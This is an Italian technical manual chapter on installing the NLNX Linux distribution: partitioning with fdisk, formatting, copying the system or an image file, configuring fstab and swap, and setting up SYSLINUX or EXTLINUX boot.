NLNX può essere installato in una partizione di un'unità di memorizzazione collegata al bus ATA interno o al bus USB.

Quando si installa NLNX in un'unità di memorizzazione comune, sia interna, sia esterna, per l'avvio si può usare SYSLINUX. Inoltre, come viene descritto nella sezione 52.2, per l'avvio dalla rete si usa PXELINUX.

> Se si utilizza una partizione in una memoria allo stato solido, è necessario installare NLNX in modo che acceda al file system in sola lettura, per non bruciare rapidamente l'unità. Per lo stesso motivo, in tale memoria non va creata una partizione o un file per lo scambio della memoria virtuale.

Una volta installato in un disco che consenta l'accesso anche in scrittura, è possibile cambiare l'insieme dei pacchetti applicativi e riprodurre un nuovo DVD *live*, purché siano rimasti i programmi necessari per la registrazione su questo tipo di unità di memorizzazione.

Tabella 51.1. Cosa occorre usare per installare NLNX in un disco fisso comune o in un'unità esterna USB.

Comando	Descrizione
`fdisk` ***file_di_dispositivo***	Creazione o modifica delle partizioni.
`mkswap` ***file_di_dispositivo***	Inizializzazione di una partizione di scambio per la memoria virtuale.
`mkfs.ext3` ***file_di_dispositivo***	Inizializzazione di una partizione da usare per l'installazione del sistema operativo o di altri dati.
`mkfs.msdos` ***file_di_dispositivo***	Inizializzazione di una partizione da usare per l'avvio del sistema operativo, quando si utilizza SYSLINUX a questo proposito.
`nlnxrc nlnx install`	Comando di '**`nlnxrc`**' per eseguire la procedura di installazione.
`syslinux` `extlinux`	Predisposizione del sistema di avvio attraverso SYSLINUX.
`install-mbr`	Ricostruzione del settore di avvio generico.

51.1.1 Piano di utilizzo delle partizioni

Per l'installazione di NLNX viene proposta un'organizzazione particolare delle quattro partizioni primarie comuni, in modo da facilitare una sorta di standardizzazione, ammesso che non emergano esigenze specifiche particolari.

Tabella 51.2. Convenzione suggerita nella suddivisione in partizioni per l'installazione di NLNX.

Esempi di file di dispositivo	Utilizzo
'`/dev/hd`***x***`1`' '`/dev/sd`***x***`1`'	La prima partizione primaria, di tipo FAT16 (codice 6_{16}), contenente un file system Dos-FAT e utilizzata per collocare il sistema di avvio (kernel e SYSLINUX). Questa partizione deve avere una capacità di almeno 80 Mibyte, ma non può essere troppo grande; ed è assolutamente indispensabile la sua presenza se si deve usare SYSLINUX per l'avvio.
'`/dev/hd`***x***`2`' '`/dev/sd`***x***`2`'	La seconda partizione primaria di tipo Second-extended (codice 83_{16}), da usare per collocarvi il file system principale (preferibilmente di tipo Ext3).
'`/dev/hd`***x***`3`' '`/dev/sd`***x***`3`'	La terza partizione primaria da usare eventualmente per dati di vario tipo, oppure per un altro sistema operativo.
'`/dev/hd`***x***`4`' '`/dev/sd`***x***`4`'	La quarta partizione primaria da usare eventualmente per lo scambio della memoria virtuale (lo scambio della memoria virtuale non deve essere gestito su delle unità di memoria solida).

FAT16	Ext3		Swap
avvio	*file system principale*	*usi vari*	*scambio della memoria virtuale*
1	2	3	4

Per quanto riguarda la terza partizione primaria, se di questa non c'è bisogno subito, la si può omettere; tuttavia, nel caso si preveda la possibilità di averne bisogno in un momento successivo, si può predisporre inizialmente una quarta partizione per lo scambio della memoria virtuale, che in seguito potrebbe essere ridotta, per ricavare la terza partizione che inizialmente non serviva.

51.1.2 Sistema di emergenza: «rescue»

L'avvio di NLNX, in qualunque condizione, si avvale di un disco RAM iniziale, il quale contiene un sistema operativo minimo che può essere utilizzato autonomamente. Si ottiene l'avvio esclusivo di questo sistema minimo con la selezione della voce '**`rescue`**'.

Attraverso il sistema di emergenza è possibile svolgere molte delle operazioni che sono descritte in questo capitolo, contando su un utilizzo ridotto al minimo della memoria centrale. In particolare potrebbero essere create e inizializzate le partizioni, soprattutto quella per lo scambio della memoria virtuale. È possibile anche accedere a file system remoti attraverso il protocollo NFS ed è disponibile il programma '**`partimage`**' per salvare e recuperare partizioni intere.

51.1.3 Suddivisione in partizioni

NLNX può essere installato in un disco, sia quando sta funzionando da DVD *live* (o da qualunque altro contesto in cui il file system principale è in sola lettura), sia quando è in funzione da un disco normale (in tal caso il file system è in lettura e scrittura). Ciò permette, per esempio, di installarlo da disco USB (lettura-scrittura) a disco ATA, da disco USB a un altro disco USB, o in altre combinazioni possibili.[1]

Prima di installare NLNX è necessario predisporre manualmente le partizioni nel disco che deve accoglierlo. Per questo è disponibile '**`fdisk`**', con cui si deve definire una partizione per la memoria virtuale (tipo 82_{16}) e una per il file system (tipo 83_{16}). Eventualmente si può usare anche '**`parted`**' per ridimensionare le partizioni già esistenti.

Quando si va a modificare la suddivisione in partizioni di un disco, occorre prima accertarsi di non utilizzarlo. L'errore più frequente che si commette sta nel dimenticare attiva una partizione per lo scambio della memoria virtuale. Ciò può succedere anche quando si avvia NLNX da un DVD *live*, perché se questo trova una partizione già predisposta per lo scambio della memoria virtuale, la utilizza. Pertanto, prima di intervenire in un disco con programmi come '**`fdisk`**' e '**`parted`**', occorre verificare di non utilizzare quel disco anche in tal modo. Si può verificare facilmente l'utilizzo di memoria di scambio con l'uso del comando '**`free`**'. A ogni modo, se ci si dimentica di questo o di altri accessi al disco, al termine delle modifiche, queste **non** sono prese in considerazione dal sistema, pertanto si può essere costretti a riavviare, o a ripeterle dopo che gli accessi sono stati esclusi. Eventualmente, per terminare l'uso di una memoria di scambio, basta il comando seguente:

```
# swapoff -a [Invio]
```

Viene mostrato un esempio sintetico di suddivisione in partizioni con '**fdisk**', che si uniforma ai criteri descritti all'inizio del capitolo, riferito al primo disco SATA ('/dev/sda'). Eventualmente si veda anche il capitolo 6 per una descrizione più dettagliata del procedimento.

```
# fdisk /dev/sda[Invio]
```

```
Command (m for help):
```

Il programma '**fdisk**' accetta comandi composti da una sola lettera e per vederne un breve promemoria basta utilizzare il comando '**m**'.

```
Command (m for help): m[Invio]
```

```
  Command action
     a   toggle a bootable flag
     b   edit bsd disklabel
     c   toggle the dos compatibility flag
     d   delete a partition
     l   list known partition types
     m   print this menu
     n   add a new partition
     o   create a new empty DOS partition table
     p   print the partition table
     q   quit without saving changes
     s   create a new empty Sun disklabel
     t   change a partition's system id
     u   change display/entry units
     v   verify the partition table
     w   write table to disk and exit
     x   extra functionality (experts only)
```

La prima cosa che si fa normalmente è di visualizzare la situazione iniziale con il comando '**p**':

```
Command (m for help): p[Invio]
```

```
  Disk /dev/sda: 164.5 GB, 164505600000 bytes
  255 heads, 63 sectors/track, 20000 cylinders
  Units = cylinders of 16065 * 512 = 8225280 bytes

     Device Boot      Start         End      Blocks   Id  System
  /dev/sda1   *           1       10000    80325000    b  W95 FAT32
  /dev/sda2           10001       20000    80325000    b  W95 FAT32
```

In questo caso, si preferisce cancellare le partizioni esistenti e ricominciare da zero:

```
Command (m for help): d[Invio]
```

```
Partition number (1-4): 1[Invio]
```

```
Command (m for help): d[Invio]
```

```
  Selected partition 2
```

`Command (m for help):` **`p`** [*Invio*]

```
  Disk /dev/sda: 164.5 GB, 164505600000 bytes
  255 heads, 63 sectors/track, 20000 cylinders
  Units = cylinders of 16065 * 512 = 8225280 bytes

     Device Boot      Start         End      Blocks   Id  System
```

A questo punto si definiscono la prima, la seconda e la quarta partizione, in base al piano della tabella 51.2, prospettando di non avere bisogno di una terza partizione per i dati:

`Command (m for help):` **`n`** [*Invio*]

```
  Command action
     e   extended
     p   primary partition (1-4)
```

`p` [*Invio*]

`Partition number (1-4):` **`1`** [*Invio*]

`First cylinder (1-20000, default 1):` **`1`** [*Invio*]

`Last cylinder or +size or +sizeM or +sizeK (1-20000, default 20000):` **`+500M`** [*Invio*]

`Command (m for help):` **`p`** [*Invio*]

```
  Disk /dev/sda: 164.5 GB, 164505600000 bytes
  255 heads, 63 sectors/track, 20000 cylinders
  Units = cylinders of 16065 * 512 = 8225280 bytes

     Device Boot      Start         End      Blocks   Id  System
  /dev/sda1               1          60      481950   83  Linux
```

`Command (m for help):` **`n`** [*Invio*]

```
  Command action
     e   extended
     p   primary partition (1-4)
```

`p` [*Invio*]

`Partition number (1-4):` **`2`** [*Invio*]

`First cylinder (61-20000, default 61):` **`61`** [*Invio*]

`Last cylinder or +size or +sizeM or +sizeK (61-20000, default 20000):` **`+150G`** [*Invio*]

Command (m for help): **p** [*Invio*]

```
Disk /dev/sda: 164.5 GB, 164505600000 bytes
255 heads, 63 sectors/track, 20000 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1               1          60      481950   83  Linux
/dev/sda2              61       19000   152135550   83  Linux
```

Command (m for help): **n** [*Invio*]

```
Command action
   e   extended
   p   primary partition (1-4)
```

p [*Invio*]

Partition number (1-4): **4** [*Invio*]

First cylinder (19001-20000, default 19001): **19001** [*Invio*]

Last cylinder or +size or +sizeM or +sizeK (19001-20000, default 20000): **20000** [*Invio*]

Command (m for help): **p** [*Invio*]

```
Disk /dev/sda: 164.5 GB, 164505600000 bytes
255 heads, 63 sectors/track, 20000 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1               1          60      481950   83  Linux
/dev/sda2              61       19000   152135550   83  Linux
/dev/sda3           19001       20000     8032500   83  Linux
```

A questo punto si deve modificare il tipo di partizione per '`/dev/sda1`' e '`/dev/sda4`', inoltre si deve rendere avviabile la prima:

Command (m for help): **t** [*Invio*]

Partition number (1-4): **1** [*Invio*]

Hex code (type L to list codes): **L**

```
 0  Empty           1c  Hidden Win95 FA 70  DiskSecure Mult bb  Boot Wizard hid
 1  FAT12           1e  Hidden Win95 FA 75  PC/IX           be  Solaris boot
 2  XENIX root      24  NEC DOS         80  Old Minix       c1  DRDOS/sec (FAT-
 3  XENIX usr       39  Plan 9          81  Minix / old Lin c4  DRDOS/sec (FAT-
 4  FAT16 <32M      3c  PartitionMagic  82  Linux swap      c6  DRDOS/sec (FAT-
 5  Extended        40  Venix 80286     83  Linux           c7  Syrinx
 6  FAT16           41  PPC PReP Boot   84  OS/2 hidden C:  da  Non-FS data
```

```
  7  HPFS/NTFS       42  SFS             85  Linux extended  db  CP/M / CTOS / .
  8  AIX             4d  QNX4.x          86  NTFS volume set de  Dell Utility
  9  AIX bootable    4e  QNX4.x 2nd part 87  NTFS volume set df  BootIt
  a  OS/2 Boot Manag 4f  QNX4.x 3rd part 8e  Linux LVM       e1  DOS access
  b  Win95 FAT32     50  OnTrack DM      93  Amoeba          e3  DOS R/O
  c  Win95 FAT32 (LB 51  OnTrack DM6 Aux 94  Amoeba BBT      e4  SpeedStor
  e  Win95 FAT16 (LB 52  CP/M            9f  BSD/OS          eb  BeOS fs
  f  Win95 Ext'd (LB 53  OnTrack DM6 Aux a0  IBM Thinkpad hi ee  EFI GPT
 10  OPUS            54  OnTrackDM6      a5  FreeBSD         ef  EFI (FAT-12/16/
 11  Hidden FAT12    55  EZ-Drive        a6  OpenBSD         f0  Linux/PA-RISC b
 12  Compaq diagnost 56  Golden Bow      a7  NeXTSTEP        f1  SpeedStor
 14  Hidden FAT16 <3 5c  Priam Edisk     a8  Darwin UFS      f4  SpeedStor
 16  Hidden FAT16    61  SpeedStor       a9  NetBSD          f2  DOS secondary
 17  Hidden HPFS/NTF 63  GNU HURD or Sys ab  Darwin boot     fd  Linux raid auto
 18  AST SmartSleep  64  Novell Netware  b7  BSDI fs         fe  LANstep
 1b  Hidden Win95 FA 65  Novell Netware  b8  BSDI swap       ff  BBT
```

Hex code (type L to list codes): **6** [*Invio*]

```
  Changed system type of partition 1 to 6 (FAT16)
```

Command (m for help): **t** [*Invio*]

Partition number (1-4): **4** [*Invio*]

Hex code (type L to list codes): **82** [*Invio*]

```
  Changed system type of partition 4 to 82 (Linux swap)
```

Command (m for help): **p** [*Invio*]

```
  Disk /dev/sda: 164.5 GB, 164505600000 bytes
  255 heads, 63 sectors/track, 20000 cylinders
  Units = cylinders of 16065 * 512 = 8225280 bytes

     Device Boot      Start         End      Blocks   Id  System
  /dev/sda1               1          60      481950    6  FAT16
  /dev/sda2              61       19000   152135550   83  Linux
  /dev/sda3           19001       20000     8032500   82  Linux swap
```

Command (m for help): **a** [*Invio*]

Partition number (1-4): **1** [*Invio*]

Command (m for help): **p** [*Invio*]

```
Disk /dev/sda: 164.5 GB, 164505600000 bytes
255 heads, 63 sectors/track, 20000 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          60      481950    6  FAT16
/dev/sda2              61       19000   152135550   83  Linux
/dev/sda3           19001       20000     8032500   82  Linux swap
```

Per memorizzare le variazioni si conclude con il comando '**w**'; se invece si preferisce rinunciare, basta utilizzare il comando '**q**' che si limita a concludere l'esecuzione del programma annullando le operazioni svolte.

Command (m for help): **w**[*Invio*]

```
The partition table has been altered!
…
Syncing disks.
…
```

51.1.4 Inizializzazione delle partizioni

Dopo la suddivisione in partizioni, occorre inizializzare ciò che serve. Proseguendo secondo l'esempio di suddivisione appena proposto, si può intervenire così:

mkfs.msdos /dev/sda1[*Invio*]

mkfs.ext3 /dev/sda2[*Invio*]

mkswap /dev/sda4[*Invio*]

51.2 Copia del sistema operativo

Dopo la suddivisione del disco in partizioni e dopo la loro inizializzazione, si può passare alla fase dell'installazione che copia il sistema operativo nel disco di destinazione. In generale questo procedimento è assistito da un comando apposito.

51.2.1 Copia di NLNX in una partizione di un disco «normale»

La copia di NLNX in una partizione di un disco fisso comune, viene eseguita con il comando seguente, indicando il file di dispositivo corrispondente alla partizione di destinazione, che deve essere stata preparata e inizializzata come già mostrato nel capitolo precedente:

nlnxrc nlnx install[*Invio*]

Figura 51.20. Il comando '**nlnxrc nlnx install**' richiede di specificare il file di dispositivo corrispondente alla partizione nella quale installare il DVD.

```
.-------------------------NLNX installation--------------------------.
| Please insert the device file for the disk partition used as the   |
| destination or enter the already mounted mount-point.              |
| If you enter something like "/dev/..." it is assumed to be a device |
| file; if you enter something like "/mnt/..." it is assumed to be a  |
| mount-point, where you have already mounted your destination file  |
| system.                                                            |
| .----------------------------------------------------------------. |
| |/dev/sd...                                                      | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >            <Cancel>                     |
'--------------------------------------------------------------------'
```

Naturalmente, al posto di '**/dev/sd...**' occorre indicare il file di dispositivo che corrisponde alla partizione in cui si vuole installare il sistema operativo, cancellando i puntini finali superflui. Si osservi che l'esempio proposto dal programma sembra suggerire l'installazione in un disco SATA o un disco USB esterno, ma si può specificare anche un disco PATA tradizionale, mettendo il nome appropriato ('/dev/hd...'), oppure anche un insieme di dischi RAID ('/dev/md***n***').

Alcuni lettori DVD, all'apparenza perfettamente funzionanti, potrebbero non essere in grado di leggere tutto il contenuto di un disco, anche senza la segnalazione di alcun errore. È importante tenere presente il problema quando si utilizza NLNX in questo modo, ma soprattutto quando dal DVD si cerca di installarlo, perché nel verificarsi di questa ipotesi, ciò che si ottiene potrebbe essere solo una copia parziale del contenuto originale.

51.2.2 Copia in una directory

Disponendo della preparazione necessaria per farlo, nel caso lo si preferisca, è possibile installare NLNX in una struttura più articolata, composta da più dischi o semplicemente da più partizioni innestate tra di loro. Per questo scopo, occorre innestare inizialmente la partizione che deve ospitare il file system principale a partire da una sottodirectory di '/mnt/' (secondo il criterio normale di NLNX); successivamente occorre creare le directory ulteriori, a partire dalle quali si intende articolare il file system di destinazione, quindi occorre innestare manualmente le altre partizioni e infine procedere con la copia.

A titolo di esempio, si suppone di disporre di un disco PATA e di averlo suddiviso nel modo seguente:

Partizione	Scopo
/dev/hda1	partizione di avvio, da innestare nella directory '/boot/';
/dev/hda2	partizione del file system principale;
/dev/hda5	partizione da innestare nella directory '/usr/';
/dev/hda6	partizione da innestare nella directory '/home/';
/dev/hda7	partizione per lo scambio della memoria virtuale (*swap*).

Dopo aver inizializzato in modo appropriato le varie partizioni, queste vanno innestate secondo lo schema previsto, ma per farlo occorre anche creare le directory necessarie:

mount /mnt/hda2 [*Invio*]

mkdir /mnt/hda2/boot [*Invio*]

mkdir /mnt/hda2/usr [*Invio*]

mkdir /mnt/hda2/home [*Invio*]

mount -t auto /dev/hda1 /mnt/hda2/boot [*Invio*]

mount -t auto /dev/hda5 /mnt/hda2/usr [*Invio*]

mount -t auto /dev/hda6 /mnt/hda2/home [*Invio*]

A questo punto, si può procedere con il comando di installazione, ma invece di indicare un file di dispositivo come destinazione, si deve specificare la directory da cui il tutto si articola: '/mnt/hda2'.

nlnxrc nlnx install [*Invio*]

```
.------------------------NLNX installation------------------------.
| Please insert the device file for the disk partition used as the    |
| destination or enter the already mounted mount-point.               |
| If you enter something like "/dev/..." it is assumed to be a device |
| file; if you enter something like "/mnt/..." it is assumed to be a  |
| mount-point, where you have already mounted your destination file   |
| system.                                                             |
| .-----------------------------------------------------------------. |
| |/dev/sd...                                                       | |
| '-----------------------------------------------------------------' |
|---------------------------------------------------------------------|
|                   <  OK  >            <Cancel>                      |
'---------------------------------------------------------------------'
```

Si deve correggere e indicare '/mnt/hda2':

/mnt/hda2 [OK]

Il resto procede normalmente.

51.2.3 Configurazione

Al termine della copia all'interno di una partizione, oltre a predisporre il sistema di avvio, come viene descritto nel capitolo successivo, è necessario intervenire in alcune parti della configurazione; per la precisione è necessario verificare il file 'etc/fstab', all'interno del quale conviene anche indicare la partizione contenente la memoria virtuale. Si tratta delle prime tre righe che, secondo l'esempio proposto nel capitolo precedente, devono risultare alla fine nel modo seguente:

```
/dev/sda4  none          swap  sw                                  0 0
/dev/sda2  /             auto  defaults,usrquota,errors=remount-ro  0 1
/dev/sda2  /RO-FS/RW-FS  auto  defaults,usrquota,errors=remount-ro  0 0
...
```

Si osservi che è necessaria l'indicazione di due punti di innesto associati allo stesso file di dispositivo: reinnestando la partizione anche nella directory '/RO-FS/RW-FS/' è possibile poi ricreare un nuovo DVD *live* di NLNX, probabilmente dopo aver modificato qualcosa nella copia realizzata nella partizione del disco fisso; inoltre è possibile gestire il controllo delle quote di utilizzo del disco.

Al termine della copia di NLNX, lo script elimina la parola d'ordine agli utenti comuni predefiniti, in modo da non consentirne l'accesso, lasciando funzionante solo l'utenza dell'amministratore ('**root**'). Se prima dell'installazione la parola d'ordine è stata modificata, questo cambiamento viene mantenuto anche nella copia che viene installata. Se la parola d'ordine dell'utente '**root**' non è stata cambiata prima dell'installazione, alla prima occasione è necessario farlo, associandone eventualmente una agli utenti comuni che si vogliono usare. Si tenga conto anche del fatto che il sistema operativo che si ottiene installando NLNX prevede l'avvio automatico del servente OpenSSH, pertanto chiunque potrebbe accedere all'utenza '**root**' se la parola d'ordine originale non viene sostituita.

51.2.4 Configurazione alternativa

Benché l'esempio di configurazione del file '/etc/fstab', come mostrato nella sezione precedente, sia corretto, succede che se si installa NLNX in un disco esterno USB, non si possa sapere qual è esattamente il file di dispositivo associato a tale unità. Per esempio, se l'elaboratore in cui si innesta tale disco contiene internamente solo dischi PATA, il disco esterno dovrebbe risultare essere rappresentato da '/dev/sda', ma se al contrario quell'elaboratore ha già internamente un disco SATA, il disco esterno potrebbe essere '/dev/sdb'. Per poter definire una configurazione di compromesso nel file '/etc/fstab', si potrebbe sostituire l'esempio già visto con il contenuto seguente:

```
# FILE_SYSTEM  MOUNT_POINT  TYPE  OPTIONS  DUMP  PASS
/dev/sda4  none        swap  sw                                   0  0
/dev/sdb4  none        swap  sw                                   0  0
/dev/sdc4  none        swap  sw                                   0  0

rootfs   /             auto  defaults,usrquota,errors=remount-ro  0  1
rootfs   /RO-FS/RW-FS  auto  defaults,usrquota,errors=remount-ro  0  0
...
```

Come si può osservare, non potendo sapere dove si trova la partizione per lo scambio della memoria virtuale, se ne indicano diverse, contando sul fatto che quelle inesistenti non vengano utilizzate senza altre conseguenze; tuttavia, va sottolineato che con la soluzione proposta il file system principale non viene reinnestato nella directory '/RO-FS/RW-FS', perché il file di dispositivo 'rootfs' non esiste.

51.2.5 Scambio della memoria utilizzando un file

In situazioni particolari, quando è necessario attivare lo scambio della memoria in un disco (*swap*) e non ci si può avvalere di una partizione, si può predisporre il file '`nlnx.swp`', della dimensione che si preferisce, collocato nella radice di un file system qualunque, purché disponibile. Eventualmente, benché sconsigliabile, in caso di estrema necessità questo file può essere collocato nella directory radice del file system usato per NLNX. Se si interviene così, non serve inizializzare il file, perché ciò viene fatto automaticamente nelle primissime fasi dell'avvio.

> La sola presenza di un file con il nome '`nlnx.swp`' comporta l'attivazione automatica dello scambio della memoria su di esso, sovrascrivendo qualunque contenuto possegga già questo file. Dal momento che l'attivazione di questa funzione avviene nelle primissime fasi dell'avvio, se questo file si trova nello stesso file system di NLNX, diventa impossibile eseguire i controlli periodici di coerenza del file system, perché questo risulterebbe già in uso.

51.3 Installazione in un file-immagine

È possibile installare NLNX in un file-immagine, invece che in una partizione, come si fa di solito con un sistema operativo. A questo proposito (con l'uso di un file-immagine) si presentano due alternative: l'installazione in sola lettura, oppure in lettura e scrittura.

51.3.1 Installazione di un file-immagine in sola lettura

È possibile utilizzare il file-immagine '`nlnx.img`' di NLNX per collocarlo in un file system dove potrebbe essere contenuto un altro sistema operativo (per esempio MS-Windows). Supponendo di disporre, nella partizione '`/dev/sda2`', di spazio sufficiente, si potrebbe semplicemente agire così, mentre si sta lavorando con un DVD *live*:

`#` **`mount /mnt/sda2`** [*Invio*]

`#` **`cp /nlnx.img /mnt/sda2/nlnx.img`** [*Invio*]

È possibile integrare questa forma di installazione, aggiungendo il file per lo scambio della memoria virtuale, costituito da '`nlnx.swp`':

`#` **`gunzip < /nlnx.swp.gz > /mnt/sda2/nlnx.swp`** [*Invio*]

Se si intende usare il gruppo delle sole utenze predefinite, si può disporre anche del file '`nlnx.dat.gz`', da estrarre e collocare a fianco degli altri due, in modo tale da fornire delle directory personali a tali utenti, dove poter salvare i dati:

`#` **`gunzip < /nlnx.dat.gz > /mnt/sda2/nlnx.dat`** [*Invio*]

Al termine delle copie, il file system di destinazione va staccato:

`#` **`umount /mnt/sda2`** [*Invio*]

Rimane però da organizzare un sistema di avvio.

Questo metodo di installazione può essere sfruttato anche se si può disporre in modo esclusivo di una partizione, o di tutta l'unità di memorizzazione di massa principale dell'elaboratore,

perché consente un'installazione o un aggiornamento rapidi del sistema. Inoltre, diventa più semplice l'organizzazione dell'avvio, attraverso SYSLINUX, in una delle sue varianti (anche EXTLINUX, per esempio).

Il metodo descritto di installazione di NLNX, consentirebbe in teoria di utilizzare un file system di tipo Dos-FAT; tuttavia, considerato che si può usare al massimo la versione a 32 bit di questo file system, non è possibile collocare file più grandi di 4 Gibyte. Ecco perché, anche se si può disporre liberamente dell'unità di memorizzazione di massa principale, può essere conveniente o necessario avvalersi di un file system di tipo Second-extended (Ext2 o Ext3), organizzando l'avvio con EXTLINUX.

51.3.2 Installazione in sola lettura condivisa attraverso la rete

Esiste la possibilità di installare una copia di NLNX, in sola lettura, in modo tale che un gruppo di elaboratori senza disco fisso possa innestare il file system principale attraverso la rete.

Questo procedimento è spiegato nella sezione 52.2, ma il funzionamento che si ottiene è equivalente a quello in sola lettura descritto nelle sezioni precedenti.

51.3.3 File-immagine in lettura e scrittura

Un file-immagine da usare in lettura e scrittura è sostanzialmente la riproduzione di una partizione normale, solo che viene rappresentata da un file di grandi dimensioni. L'avvio di un file del genere avviene esattamente come se si trattasse di quello in sola lettura, pertanto il nome che deve avere il file nella destinazione è sempre '`nlnx.img`', con la sola differenza che, in questo caso, il file system che lo va a ospitare deve concedere l'accesso in scrittura. Per preparare un file di questo tipo occorre procedere manualmente, con i passi mostrati negli esempi successivi.

1. Per prima cosa occorre creare da qualche parte un file abbastanza grande, con l'aiuto di '**`dd`**':

   `# dd if=/dev/zero of=nlnx.img bs=1M count=20K` [*Invio*]

   In questo caso si crea il file '`nlnx.img`' da 20 Gibyte, nella directory corrente.

2. Il file creato va quindi inizializzato, come se fosse una partizione vera e propria:

   `# mkfs.ext3 -F nlnx.img` [*Invio*]

3. Il file-immagine, dopo l'inizializzazione, va innestato in modo da poter poi installare il sistema operativo:

   `# mkdir /mnt/loop` [*Invio*]

   `# mount -o loop -t auto nlnx.img /mnt/loop` [*Invio*]

4. Quindi si procede con l'installazione di NLNX, specificando che la si vuole all'interno di '`/mnt/loop`', e non di un file di dispositivo.

5. Al termine si deve distaccare il file-immagine e quindi occorre un modo per copiare il file stesso nel file system ospitante. Per esempio potrebbe essere compresso e poi estratto nella destinazione:

   # **umount /mnt/loop** [*Invio*]

   # **gzip -9 nlnx.img** [*Invio*]

Assieme al file-immagine con il file system di NLNX, è possibile aggiungere il file da usare per lo scambio della memoria virtuale, quello con il nome '`nlnx.swp`'. I passi successivi descrivono un esempio di creazione di tale file, della dimensione voluta.

1. # **dd if=/dev/zero of=nlnx.swp bs=1M count=1K** [*Invio*]

   In questo caso si crea il file '`nlnx.swp`' da 1 Gibyte, nella directory corrente.

2. Al termine occorre un modo per copiare il file stesso nel file system ospitante. Per esempio potrebbe essere compresso e poi estratto nella destinazione:

   # **gzip -9 nlnx.swp** [*Invio*]

51.4 Predisposizione del sistema di avvio

Per l'avvio di NLNX, dopo la sua installazione, viene proposto SYSLINUX, assieme ai suoi derivati (EXTLINUX, PXELINUX). Quando l'avvio riguarda un'unità di memorizzazione locale (interna o esterna), i file del sistema di avvio vanno copiati nella radice di una partizione predisposta appositamente. Tale partizione può contenere un file system di tipo Dos-FAT o di tipo Ext2/Ext3 (in tal caso si usa per l'avvio SYSLINUX o EXTLINUX). I file necessari all'avvio sono quelli che si trovano nella directory '`/syslinux/`' di un disco ottico contenente NLNX. Se il sistema NLNX in funzione in quel momento è proprio nel disco ottico, la directory percepita è precisamente '`/initrd/r0/syslinux/`'.

51.4.1 SYSLINUX

SYSLINUX può essere usato per l'avvio di NLNX installato sia in dischi fissi PATA o SATA, sia in unità esterne, collegate attraverso il bus USB, utilizzando una partizione contenente un file system Dos-FAT. Pertanto, questa soluzione si presta solo per la creazione di una partizione di avvio, priva di altri dati (senza i file '`nlnx.*`'), perché non è possibile contenere file di dimensione maggiore ai 4 Gibyte.

Supponendo che la partizione in cui va installato il sistema di avvio sia '`/dev/sda1`', si comincia installando il codice necessario al funzionamento di SYSLINUX:

syslinux /dev/sda1 [*Invio*]

Si passa quindi all'innesto della partizione da usare per l'avvio:

mount /mnt/sda1 [*Invio*]

Si presume di avere già a disposizione la directory contenente i file necessari a SYSLINUX per l'avvio, inclusi i kernel e i dischi RAM iniziali; pertanto si passa alla loro copia:

cp -r ***directory_file_di_avvio*** **/* /mnt/sda1** [*Invio*]

Si separa la partizione di avvio:

umount /mnt/sda1 [*Invio*]

Infine, occorre accertarsi di avere un settore di avvio adatto. Lo si ricrea facilmente con '**install-mbr**':[2]

install-mbr /dev/sda [*Invio*]

Quando poi si avvia il sistema, si ottiene una schermata simile a quella dell'avvio da disco ottico *live*:

```
NLNX boot menu - Press [F1], [F2],... to get more help.

80
81
mem
auto
menu
mod
rescue
net
console
intel
mga
nv

Press [Tab] to edit options

Automatic start with standard configuration and Vesa graphics.
```

Se successivamente si vuole intervenire nella configurazione dell'avvio, predisposto in questo modo con SYSLINUX, occorre modificare il file '`syslinux.cfg`'.

51.4.2 EXTLINUX

EXTLINUX è un'alternativa a SYSLINUX, da usare necessariamente se, nella stessa partizione di avvio, si vogliono collocare i file '`nlnx.*`', considerato che possono superare i 4 Gibyte di dimensione. Il tal caso, il file system contenuto nella partizione deve essere di tipo Ext2 o di tipo Ext3.

Supponendo che la partizione in cui va installato il sistema di avvio sia '`/dev/sda1`', si comincia installando il codice necessario al funzionamento di EXTLINUX, tenendo conto che a differenza di SYSLINUX, tale installazione richiede che la partizione di destinazione sia innestata:

mount /mnt/sda1 [*Invio*]

extlinux --install /mnt/sda1 [*Invio*]

Si presume di avere già a disposizione la directory contenente i file necessari a EXTLINUX per l'avvio (sono gli stessi file usati da SYSLINUX), inclusi i kernel e i dischi RAM iniziali; pertanto si passa alla loro copia:

cp -r ***directory_file_di_avvio*****/* /mnt/sda1** [*Invio*]

Si separa la partizione di avvio:

umount /mnt/sda1 [*Invio*]

Infine, occorre accertarsi di avere un settore di avvio adatto. Lo si ricrea facilmente con '**install-mbr**':[3]

install-mbr /dev/sda [*Invio*]

Se successivamente si vuole intervenire nella configurazione dell'avvio, predisposto in questo modo con SYSLINUX, occorre modificare il file '`extlinux.conf`'.

51.4.3 PXELINUX

È possibile avviare NLNX attraverso la rete, con l'aiuto di PXELINUX. Questo procedimento è spiegato nella sezione 52.2.

51.4.4 Osservazioni sugli insiemi RAID

Il procedimento descritto in questi capitoli per l'installazione di NLNX, prevede l'uso di una partizione separata per gestire l'avvio del sistema operativo. Se si vuole installare NLNX in un insieme di dischi RAID (un file di dispositivo del tipo '`/dev/md`***n***'), ciò riguarda il file system principale, mentre **la partizione da usare per l'avvio deve rimanere estranea a tale gestione**.

51.4.5 Osservazioni sulla convivenza di più sistemi operativi

Quando si installa un sistema operativo è meglio essere prudenti: in generale è sconsigliabile tentare di far convivere due sistemi operativi diversi nello stesso disco o anche in dischi diversi ma collegati allo stesso bus ATA, a meno che **entrambi** siano predisposti per convivere pacificamente assieme. In generale, GNU/Linux funziona correttamente se vengono usati, alternativamente, anche altri sistemi sullo stesso elaboratore, ma possono essere gli altri sistemi operativi che non sono in grado di fare altrettanto. Piuttosto di rischiare, è sicuramente meglio installare NLNX in un disco esterno collegato con un bus USB.

